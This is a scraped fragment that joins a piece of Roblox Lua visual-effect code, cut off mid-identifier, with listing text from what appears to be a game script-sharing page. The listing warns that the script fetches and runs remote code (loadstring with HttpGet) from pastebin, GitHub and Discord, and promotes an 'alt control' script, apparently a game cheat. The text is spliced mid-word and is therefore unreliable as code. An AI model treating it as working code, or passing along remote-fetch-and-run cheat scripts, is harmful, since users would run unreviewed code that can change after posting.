Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
Part.Transparency=i
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
end
Part.Parent=nil
end),prt,msh)
end
function MagicBlockSteady(brickcolor,cframe,x1,y1,z1,x3,y3,z3,deLoads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: games.roblox.com, pastebin.com, gist.githubusercontent.com, raw.githubusercontent.com, discord.com, labs.bible.org.
The #1 Alt control of all time

Universal